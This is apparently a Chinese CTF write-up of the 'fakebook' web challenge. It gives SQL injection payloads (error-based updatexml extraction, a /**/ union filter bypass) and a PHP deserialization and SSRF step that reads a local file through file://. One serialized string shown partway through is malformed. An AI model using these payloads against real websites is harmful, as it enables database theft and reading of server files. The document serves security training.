打开后有注册的地方我们就先注册一个
这是注册成功的页面
发现adimin点击后出现新的页面,主要关注这里传入一个参数no
传入单引号报错,说明存在SQL注入
?no=1 and 1=1 // 没有变化
?no=1 and 1=2 // 出现报错
所以得知是数字型注入
继续查看表格列数,发现是四列
?no=1 order by 1#
?no=1 order by 2#
?no=1 order by 3#
?no=1 order by 4#
?no=1 order by 5# // 报错
查询显示位的时候发现
?no=0 union select 1,2,3,4#
猜测可能union或者select被过滤了,所以换一个方法吧,使用xml报错注入吧
?no=1 and updatexml(1,concat('~',database(),'~'),1)#
得到数据库名fakebook
?no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) #
得到表名users
?no=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database()),'~'),1) #
得到四列no,username,passwd,data
查查各列内容是什么(因为其他没用,所以就不放下面了)
?no=1 and updatexml(1,concat('~',(select group_concat(data) from users),'~'),1) #
这明显是个序列化的对象,但是没有看见右大括号,所以并没有显示完
利用右查询
?no=1 and updatexml(1,concat('~',(select right(data,30) from users),'~'),1) #
然后拼接,得到完整的O:8:"UserInfo":3:{s:4:"name";s:4:"blog";s:8:"aaa.blog";}
剩下的都是看的wp:
dirsearch查到/robots.txt,访问发现有备份users.php.bak(但是我用dir扫描并未发现)
访问user.php.bak,得到源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
修改上面的到的对象O:8:"UserInfo":3:{s:4:"name";s:4:"blog";s:29:"file:///var/www/html/flag.php";} (flag的位置我也不知道怎么找到的,难道我的dir有毛病?)
另外union被过滤可以用/**/来绕过
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
然后base64解码就可以了